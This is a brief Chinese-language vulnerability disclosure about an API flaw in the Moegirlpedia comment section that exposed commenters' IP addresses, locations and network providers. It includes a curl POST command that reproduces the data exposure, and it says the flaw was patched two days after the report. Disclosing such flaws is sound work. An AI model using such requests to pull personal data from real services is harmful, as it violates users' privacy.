萌娘百科评论区 IP 泄露

前言

于 2024年7月26日 18:51:15 左右，评论区现开放了测试，约两分钟后第一条评论被发布。在测试开始半小时后由我发现并提报了漏洞，之后也在技术实现版和评论区处做出了警告（虽然许多人都不听劝）。

漏洞详情

发生什么事了？

任何人都可以极其简单并匿名地获取所有评论发送时的 IP 地址。

如何复现？

curl --location 'https://api.moegirl.org.cn/moegirl.moepad.MoepadCommunityService/GetArticleCommentListWithUserInfo' --header 'Content-Type: application/grpc-web-text' --data 'AAAAACUKIwoYNjZhMzdmYTNiMmNlNDEyMjYwYzBjMjNhGAogAygEMgEB'

这就是一个非常简单的 POST 请求，而返回的数据中我们可以看到用户的账户名和评论、精确至市级的地址、网络运营商以及 IP 地址。

修复了吗？

在提报后的两天之后，此漏洞终于被修复（指抹去了 IP 地址）…